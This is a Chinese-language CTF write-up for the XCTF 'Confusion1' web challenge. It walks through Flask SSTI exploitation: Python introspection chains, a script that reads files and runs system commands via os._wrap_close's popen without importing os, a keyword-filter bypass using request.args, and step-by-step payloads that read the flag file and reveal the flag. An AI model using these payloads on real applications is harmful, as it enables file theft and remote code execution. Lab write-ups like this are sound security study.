攻防世界 - Web - Level 4 | Confusion1

🌟 关注这个靶场的其它相关笔记:CTF 靶场笔记 —— 攻防世界(XCTF)· 过关思路合集

0x01:考点速览

本关考察的是 Python Flask 的 SSTI 模板注入漏洞,需要掌握以下技巧方可过关:

  • Python Flask SSTI 模板注入漏洞 -> {{x}} 里的代码会执行

  • Python 不导入 os 包,照样执行系统命令

  • SSTI 关键字绕过:{{''.__class__}} <-> {{''[request.args.a]}}?a=__class__

0x02:WriteUP

进入靶场,是一只蛇缠绕着一只大象(Python & PHP):

随便点点,发现除了 Home 页面,Login,Register 都是会报错的,不过,也有意外收获:

通过查看页面源码,我们成功获得了 Flag 文件的保存路径,备注中还有一个叫 Salt 文件的,暂时不知道有啥用。

仔细观察页面回显的报错信息,The requested URL /login.php was not found on this server. 它报错的太全了,连你访问的路径都报出来了。如果你再仔细看看响应包,会从中找出两套 Server,一套是 Python 一套是 PHP:

结合一下题目的提示,很明显本次考察的是 Python 的 SSTI 漏洞,在 SSTI 模板注入漏洞中,{{x}} 中的内容会被后端执行,如下:

http://61.147.171.105:61016/login.php{{7*7}}

输出了 /49,说明我们的 7*7 被自动执行运算了。既然能执行运算,那其他代码,不也就可以咯。

好的,下面的问题是怎么构造 Payload 能进行读取文件,或者直接执行系统命令。这个需要一点 Python 基础,下面给一个循循善诱的例子,实验环境是 Kali 系统,Python 版本为 2.7.18:

# __class__ 获取当前对象所属的类
print("a".__class__)  # 输出:<type 'str'>
 
# __mro__ 获取当前类的继承顺序
print("a".__class__.__mro__)  # 输出:(<type 'str'>, <type 'basestring'>, <type 'object'>)   -> str 类继承自 basestring 类,basestring 类继承自 object 类
 
# __subclasses__() 获取当前类的子类集合
print("a".__class__.__mro__[2].__subclasses__())  # 输出:[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, ......, <class 'codecs.IncrementalDecoder'>] -> 太多了就不全部列出来了,毕竟是 Object 的子类
 
# Python2 的 Object 类的子类中有一个类型为 file 的可以进行文件的读取,找一下它的位置
print([(index, i) for index, i in enumerate("a".__class__.__mro__[2].__subclasses__()) if "file" in str(i)])    # 输出:[(40, <type 'file'>)]  -> 该类的下标为 40
# 使用 <type 'file'> 读取一个文件
print("a".__class__.__mro__[2].__subclasses__()[40])                    # 输出:<type 'file'>
print("a".__class__.__mro__[2].__subclasses__()[40]("flag.txt"))        # 输出:<open file 'flag.txt', mode 'r' at 0x7fa5b0770ae0>
print("a".__class__.__mro__[2].__subclasses__()[40]("flag.txt").read()) # 输出:'Welcome to my blog\xef\xbc\x81\n'     -> 调用 read() 方法显示具体内容
# 提示:"a".__class__.__mro__[2].__subclasses__()[40] 其实等价于调用 file 函数
 
# 拓展:在 Python3 中,我们执行系统命令需要 import os 包,那么有没有办法,不导包,就直接执行系统命令?(在 Python 3.9 的环境里运行试试)
if __name__ == "__main__":
    file_path = input("请输入待读取的文件路径:")
 
    print("a".__class__.__bases__[0].__subclasses__()[
              [str(i) for i in "a".__class__.__bases__[0].__subclasses__()].index(
                  "<class 'os._wrap_close'>")].__init__.__globals__[
              '__builtins__']['open'](file_path).read())
 
    exec_code = input("请输入待执行的系统命令:")
    print("a".__class__.__bases__[0].__subclasses__()[
              [str(i) for i in "a".__class__.__bases__[0].__subclasses__()].index(
                  "<class 'os._wrap_close'>")].__init__.__globals__['popen'](exec_code).read())

OK,知道了基础,下面我们就是往 {{}} 里填入代码了,我们先慢慢测,使用 {{''.__class__}} 查看一下返回结果:

叫我们 Find another way,看来是有敏感字符被过滤了,先测试一下哪个字符被过滤了:

{{''}}          -> 未报错
{{''.}}         -> 未报错
{{__class__}}   -> Nope! Find another way.

看来是敏感字符被过滤了,绕过方法如下:

{{''.__class__}} <-> {{''[request.args.a]}}?a=__class__

页面成功返回执行后的结果,看来我们成功绕过了对方的 WAF。我们的目的是要读取 Flag 文件,在上面的例子中,我已经给出了 Python 2 的读取文件的方法,这里就直接写我的测试过程了:

Payload 模板:''.__class__.__mro__[Object 类的位置].__subclasses__()[Type file 的位置]("flag 文件位置").read()
已知 flag_path: <!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->
 
Test01: {{''[request.args.a]}}?a=__class__
return <type 'str'>
 
Test02: {{''[request.args.a][request.args.b]}}?a=__class__&b=__mro__
return (<type 'str'>, <type 'basestring'>, <type 'object'>)
 
Test03: {{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
return [<type 'type'>, <type 'weakref'>, ..... <type 'method-wrapper'>]
 
从 Test03 测试下来的 Object 的子类中找到 file 类型的位置 -> 40
 
Test04: {{''[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")}}?a=__class__&b=__mro__&c=__subclasses__
return <open file '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt', mode 'r' at 0x7f3a11b6b780>
 
Test05: {{''[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
return cyberpeace{e34001b5f6187ce5a51a6b7ebc803adc}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Blue17 :: Hack3rX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值